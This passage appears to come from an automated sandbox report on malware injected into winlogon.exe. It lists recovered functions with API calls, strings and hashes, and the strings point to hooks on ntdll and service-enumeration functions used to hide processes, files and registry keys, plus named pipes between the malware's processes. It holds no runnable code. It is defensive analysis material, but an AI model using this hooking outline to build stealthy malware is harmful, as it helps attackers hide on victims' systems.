Function 000002E9917539E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000002E991753A66
VirtualAlloc.KERNEL32 ref: 000002E991753AA0

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: bd37eb1f9fe1cce81840bdfd23b72ab3f02b45a8b3f74b5eeca5040b27afc49a
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: 07315022759AC581EA70DA17E05835E67A4F388784F11052BF5CE06BBADF7CC2C08F20

Function 000002E99175328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002E9917532AE
PathFindFileNameW.SHLWAPI ref: 000002E9917532BD

Part of subcall function 000002E991753844: StrCmpNIW.SHLWAPI ref: 000002E99175385C

Part of subcall function 000002E991753790: GetModuleHandleW.KERNEL32 ref: 000002E99175379E
Part of subcall function 000002E991753790: GetCurrentProcess.KERNEL32 ref: 000002E9917537CC
Part of subcall function 000002E991753790: VirtualProtectEx.KERNEL32 ref: 000002E9917537EE
Part of subcall function 000002E991753790: GetCurrentProcess.KERNEL32 ref: 000002E991753809
Part of subcall function 000002E991753790: VirtualProtectEx.KERNEL32 ref: 000002E99175382A

CreateThread.KERNEL32 ref: 000002E99175330B

Part of subcall function 000002E991751D14: GetCurrentThread.KERNEL32 ref: 000002E991751D1F

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 351c7813d095973389ab4a2bf15dbcd6c7863a8031ac115e2cdad26015686c69
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 56118031B946C382FB60AB33F84D76922A4B754345F92412FA916816B3EF79C0C48E70

Function 000002E991754DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000002E991754DF4
VirtualProtect.KERNEL32 ref: 000002E991754E37
FlushInstructionCache.KERNEL32 ref: 000002E991754E4C

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction ID: d4000fd86275b36a03d69cb5381fd848dff25b8e8b72ec9c6e4ac05b9341f0d5
Opcode Fuzzy Hash: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction Fuzzy Hash: DCF0302625CB85C0D631DB02E44934A6BA0F38C7D4F55011AFA8E03B6ADB3CC6C08F50

Function 000002E99172273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000002E9917227DB
LoadLibraryA.KERNELBASE ref: 000002E99172285E

Memory Dump Source

Source File: 00000023.00000002.3041695622.000002E991720000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991720000_winlogon.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 0174b3c931968c58cb23d2eb9d8b9e4d39f5b79fd9c5245184543cdb20c18685
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: A4616872B422D187DB54CF16C00872D7392F754BE4F19852ADF991778ADA38D893CB20

Function 000002E991751ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002E991751628: GetProcessHeap.KERNEL32 ref: 000002E991751633
Part of subcall function 000002E991751628: HeapAlloc.KERNEL32 ref: 000002E991751642
Part of subcall function 000002E991751628: RegOpenKeyExW.ADVAPI32 ref: 000002E9917516B2
Part of subcall function 000002E991751628: RegOpenKeyExW.ADVAPI32 ref: 000002E9917516DF
Part of subcall function 000002E991751628: RegCloseKey.ADVAPI32 ref: 000002E9917516F9
Part of subcall function 000002E991751628: RegOpenKeyExW.ADVAPI32 ref: 000002E991751719
Part of subcall function 000002E991751628: RegCloseKey.ADVAPI32 ref: 000002E991751734
Part of subcall function 000002E991751628: RegOpenKeyExW.ADVAPI32 ref: 000002E991751754
Part of subcall function 000002E991751628: RegCloseKey.ADVAPI32 ref: 000002E99175176F
Part of subcall function 000002E991751628: RegOpenKeyExW.ADVAPI32 ref: 000002E99175178F
Part of subcall function 000002E991751628: RegCloseKey.ADVAPI32 ref: 000002E9917517AA
Part of subcall function 000002E991751628: RegOpenKeyExW.ADVAPI32 ref: 000002E9917517CA

Sleep.KERNEL32 ref: 000002E991751AD7
SleepEx.KERNELBASE ref: 000002E991751ADD

Part of subcall function 000002E991751628: RegCloseKey.ADVAPI32 ref: 000002E9917517E5
Part of subcall function 000002E991751628: RegOpenKeyExW.ADVAPI32 ref: 000002E991751805
Part of subcall function 000002E991751628: RegCloseKey.ADVAPI32 ref: 000002E991751820
Part of subcall function 000002E991751628: RegOpenKeyExW.ADVAPI32 ref: 000002E991751840
Part of subcall function 000002E991751628: RegCloseKey.ADVAPI32 ref: 000002E99175185B
Part of subcall function 000002E991751628: RegOpenKeyExW.ADVAPI32 ref: 000002E99175187B
Part of subcall function 000002E991751628: RegCloseKey.ADVAPI32 ref: 000002E991751896
Part of subcall function 000002E991751628: RegCloseKey.ADVAPI32 ref: 000002E9917518A0

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 98a2260962f66e790094138e64364fcbcff5423d27e2e98684da735ba5be122f
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 3731F1613816C342FF509B27D6493A913A4BB44BC6F0A542B9E1B87697FF34C8D1CA31

Non-executed Functions

Function 000002E991752B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002E991752BD0
lstrlenW.KERNEL32 ref: 000002E991752E0A

Part of subcall function 000002E99175199C: OpenProcess.KERNEL32 ref: 000002E9917519C2
Part of subcall function 000002E99175199C: K32GetModuleFileNameExW.KERNEL32 ref: 000002E9917519E0
Part of subcall function 000002E99175199C: PathFindFileNameW.SHLWAPI ref: 000002E9917519EF
Part of subcall function 000002E99175199C: lstrlenW.KERNEL32 ref: 000002E9917519FB
Part of subcall function 000002E99175199C: StrCpyW.SHLWAPI ref: 000002E991751A0E
Part of subcall function 000002E99175199C: CloseHandle.KERNEL32 ref: 000002E991751A1C

GetProcAddress.KERNEL32 ref: 000002E991752BE5

Part of subcall function 000002E99175152C: StrCmpIW.SHLWAPI ref: 000002E99175155D

Part of subcall function 000002E991753844: StrCmpNIW.SHLWAPI ref: 000002E99175385C

StrCmpNIW.SHLWAPI ref: 000002E991752C28
lstrlenW.KERNEL32 ref: 000002E991752D50

Strings

\Device\Nsi, xrefs: 000002E991752C1B
NtQueryObject, xrefs: 000002E991752BDB
ntdll.dll, xrefs: 000002E991752BC9

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 9267f257902aa87408aaac54b14cc2c1c9bedbda9888c08ae2a81d07cc4cf480
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 49B19F22250BD2C6EB698F27D4487A963A5F748B84F56501FEE0953796EF35CCC0CB60

Function 000002E991757D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002E991757DAC
RtlCaptureContext.NTDLL ref: 000002E991757DD9
RtlLookupFunctionEntry.NTDLL ref: 000002E991757DF3
RtlVirtualUnwind.NTDLL ref: 000002E991757E34
IsDebuggerPresent.KERNEL32 ref: 000002E991757E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000002E991757EA9
UnhandledExceptionFilter.KERNEL32 ref: 000002E991757EB4

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 0216bfbab142289af890d8c45534b75c134c54bc5fdd387169f2726022cc0a09
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: F6318372245BC19AEB609F62E8443ED7364F784744F85402EEB4D97B95EF38C588CB20

Function 000002E99175D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002E99175D31D
RtlLookupFunctionEntry.NTDLL ref: 000002E99175D335
RtlVirtualUnwind.NTDLL ref: 000002E99175D370
IsDebuggerPresent.KERNEL32 ref: 000002E99175D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000002E99175D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000002E99175D3BE

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: a23a05519f5be50e9521a24267438afb78831fdbfdb93237bbf99c1e24bec194
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: C0319332254FC196EB60DF26E84439E73A4F789794F91012AEA9D43B96DF38C185CF10

Function 000002E991757960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002E99175798C
GetCurrentThreadId.KERNEL32 ref: 000002E99175799A
GetCurrentProcessId.KERNEL32 ref: 000002E9917579A6
QueryPerformanceCounter.KERNEL32 ref: 000002E9917579B6

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 4a3cbd926c2ff67caed56cc86b37f60de1dd5d3bcd68790c06f0eef6869e381a
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 31117322750F418AEB00CF61E8593A833B4F318758F850E26EA6D82795DF78C194C790

Function 000002E99175DCE0 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction ID: 7dd61c585698414271cd24679a03e8391d528d7793271459a039ca350cc5193d
Opcode Fuzzy Hash: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction Fuzzy Hash: CC51D1227107C189FB20DB73E94879A7BA5F7447E8F15411AEE9867B9ADF38C481CB10

Function 000002E9917336F0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3041695622.000002E991720000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991720000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction ID: 4bc408d1f9796abe8f7ab8b61ca77b790a949b81e889ac1e3cced604fc51a0eb
Opcode Fuzzy Hash: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction Fuzzy Hash: C3F062B17542958EEBE88F29F84671A77E2F318380FD0801ED68983B54D23C80A1CF28

Function 000002E991766218 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c307f67adb8aff98d3f095286b2b700dfcb55a183617c16c72d4ace8312b7d4
Instruction ID: 038cc99b61fe1a58f79dc842e8ffe6d2d7c0790616e2838ebdfb41b054369831
Opcode Fuzzy Hash: 7c307f67adb8aff98d3f095286b2b700dfcb55a183617c16c72d4ace8312b7d4
Instruction Fuzzy Hash:

Function 000002E991766208 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1d6651aee64f03e14f2bc133940db4ae2d65b2322fd30231df270c6176abf77
Instruction ID: 52f60df3fc584bb2755b9902eca0ea292f076f9c021720799fa571c6a82a7638
Opcode Fuzzy Hash: d1d6651aee64f03e14f2bc133940db4ae2d65b2322fd30231df270c6176abf77
Instruction Fuzzy Hash:

Function 000002E9917512BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002E991751319
GetProcessHeap.KERNEL32 ref: 000002E991751327
HeapAlloc.KERNEL32 ref: 000002E991751338
RegEnumValueW.ADVAPI32 ref: 000002E991751397

Part of subcall function 000002E99175152C: StrCmpIW.SHLWAPI ref: 000002E99175155D

GetProcessHeap.KERNEL32 ref: 000002E9917513DF
HeapAlloc.KERNEL32 ref: 000002E9917513ED
GetProcessHeap.KERNEL32 ref: 000002E99175140A
HeapFree.KERNEL32 ref: 000002E991751418
lstrlenW.KERNEL32 ref: 000002E991751421
GetProcessHeap.KERNEL32 ref: 000002E99175142F
HeapAlloc.KERNEL32 ref: 000002E99175143D
StrCpyW.SHLWAPI ref: 000002E99175145F
GetProcessHeap.KERNEL32 ref: 000002E991751476
HeapFree.KERNEL32 ref: 000002E991751484

Strings

d, xrefs: 000002E99175135A

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: faf9fcae4cad09d4b21471a3c83bc15139729c09b9c22fc87df00bbc9025f63a
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: B3516D72240BC5C6EB54CF62E44835AB7A1F389FC9F85412AEA4A8771ADF3CC085CB51

Function 000002E991751D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002E991751D1F

Part of subcall function 000002E991751FD4: GetModuleHandleA.KERNEL32 ref: 000002E991751FEC
Part of subcall function 000002E991751FD4: GetProcAddress.KERNEL32 ref: 000002E991751FFD

Part of subcall function 000002E991755B30: GetCurrentThreadId.KERNEL32 ref: 000002E991755B6B

Strings

sechost.dll, xrefs: 000002E991751E39
NtQueryDirectoryFile, xrefs: 000002E991751D7F
NtResumeThread, xrefs: 000002E991751D62
NtDeviceIoControlFile, xrefs: 000002E991751E56
NtEnumerateValueKey, xrefs: 000002E991751DD6
advapi32.dll, xrefs: 000002E991751DF7, 000002E991751E18
NtQuerySystemInformation, xrefs: 000002E991751D45
NtQueryDirectoryFileEx, xrefs: 000002E991751D9C
ntdll.dll, xrefs: 000002E991751D2D
NtEnumerateKey, xrefs: 000002E991751DB9
EnumServiceGroupW, xrefs: 000002E991751DF0
EnumServicesStatusExW, xrefs: 000002E991751E11, 000002E991751E32

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 4753043bf12ce9e32f38f3c1a54f8f46ce1ac6560c3b79c386cbf99cf72d279c
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: FA31D664191ACBA1FB00EFA7E85D6D42320B710384FC3101B945A461B79F3886CACF71

Function 000002E991726910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002E991726938
__scrt_acquire_startup_lock.LIBCMT ref: 000002E99172698A
_RTC_Initialize.LIBCMT ref: 000002E9917269B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002E9917269DE
__scrt_release_startup_lock.LIBCMT ref: 000002E991726A09

Strings

`eh vector copy constructor iterator', xrefs: 000002E991726A3B
scriptor', xrefs: 000002E991726B39, 000002E991726BB2, 000002E991726BEC
`dynamic initializer for ', xrefs: 000002E9917269C7
`eh vector vbase copy constructor iterator', xrefs: 000002E9917269EE

Memory Dump Source

Source File: 00000023.00000002.3041695622.000002E991720000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991720000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: e16fa48834a59c6cd4a499f0462a1a18f190ef002cbaf03bf6bfe41264d5c29d
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 9F81A4617822C386FB50AB27D44939922A1FB99780F96482FBD4547797DB38C9C78F30

Function 000002E99175CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000002E99175CE37
FlsGetValue.KERNEL32(?,?,?,000002E991760A6B,?,?,?,000002E99176045C,?,?,?,000002E99175C84F), ref: 000002E99175CE4C
FlsSetValue.KERNEL32(?,?,?,000002E991760A6B,?,?,?,000002E99176045C,?,?,?,000002E99175C84F), ref: 000002E99175CE6D
FlsSetValue.KERNEL32(?,?,?,000002E991760A6B,?,?,?,000002E99176045C,?,?,?,000002E99175C84F), ref: 000002E99175CE9A
FlsSetValue.KERNEL32(?,?,?,000002E991760A6B,?,?,?,000002E99176045C,?,?,?,000002E99175C84F), ref: 000002E99175CEAB
FlsSetValue.KERNEL32(?,?,?,000002E991760A6B,?,?,?,000002E99176045C,?,?,?,000002E99175C84F), ref: 000002E99175CEBC
SetLastError.KERNEL32 ref: 000002E99175CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002E991760A6B,?,?,?,000002E99176045C,?,?,?,000002E99175C84F), ref: 000002E99175CF0D
FlsSetValue.KERNEL32(?,?,00000001,000002E99175ECCC,?,?,?,?,000002E99175BF9F,?,?,?,?,?,000002E991757AB0), ref: 000002E99175CF2C

Part of subcall function 000002E99175D6CC: HeapAlloc.KERNEL32 ref: 000002E99175D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002E991760A6B,?,?,?,000002E99176045C,?,?,?,000002E99175C84F), ref: 000002E99175CF54

Part of subcall function 000002E99175D744: HeapFree.KERNEL32 ref: 000002E99175D75A
Part of subcall function 000002E99175D744: GetLastError.KERNEL32 ref: 000002E99175D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002E991760A6B,?,?,?,000002E99176045C,?,?,?,000002E99175C84F), ref: 000002E99175CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002E991760A6B,?,?,?,000002E99176045C,?,?,?,000002E99175C84F), ref: 000002E99175CF76

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: d19b245fd988bfb2817d68be97438e53c8424c1f9c669e008c2cccf14dbdb104
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 734174203C12C742FA69A737D55D3692289BB447B4F160B2FA936466E7DF3884C19F30

Function 000002E991752244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002E991752259
GetCurrentProcessId.KERNEL32 ref: 000002E991752263

Part of subcall function 000002E991751934: OpenProcess.KERNEL32 ref: 000002E991751952
Part of subcall function 000002E991751934: IsWow64Process.KERNEL32 ref: 000002E991751968
Part of subcall function 000002E991751934: CloseHandle.KERNEL32 ref: 000002E991751983

CreateFileW.KERNEL32 ref: 000002E9917522BC
WriteFile.KERNEL32 ref: 000002E9917522E4
ReadFile.KERNEL32 ref: 000002E991752303
CloseHandle.KERNEL32 ref: 000002E99175230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 000002E99175228C
\\.\pipe\dialerchildproc32, xrefs: 000002E991752293

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 2ec8cc7cd3fe4d2c1af7483aaecc8ed615e3356d440049c4b66141594478c441
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: F4214F32654781C3FB108B26F44875973A1F789BE4F91021AEA5943BA9DF3CC589CF51

Function 000002E991729944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002E9917299A1

Part of subcall function 000002E99172A814: __GetUnwindTryBlock.LIBCMT ref: 000002E99172A857
Part of subcall function 000002E99172A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002E99172A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002E991729A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002E991729CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002E991729DDA

Strings

csm, xrefs: 000002E991729A9C
csm, xrefs: 000002E9917299BB
csm, xrefs: 000002E991729A22

Memory Dump Source

Source File: 00000023.00000002.3041695622.000002E991720000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991720000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 920fc7fd0e7b6407fb21e7a3f32b8b7f41c9ae5ea962bf932353d45c49382d83
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: BAE1C1326427D286EB60CF26D4883AD77A0F749788F15091AEE8947B9BCF34C1D2CB10

Function 000002E99175A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002E99175A5A1

Part of subcall function 000002E99175B414: __GetUnwindTryBlock.LIBCMT ref: 000002E99175B457
Part of subcall function 000002E99175B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002E99175B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002E99175A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002E99175A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002E99175A9DA

Strings

csm, xrefs: 000002E99175A622
csm, xrefs: 000002E99175A5BB
csm, xrefs: 000002E99175A69C

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

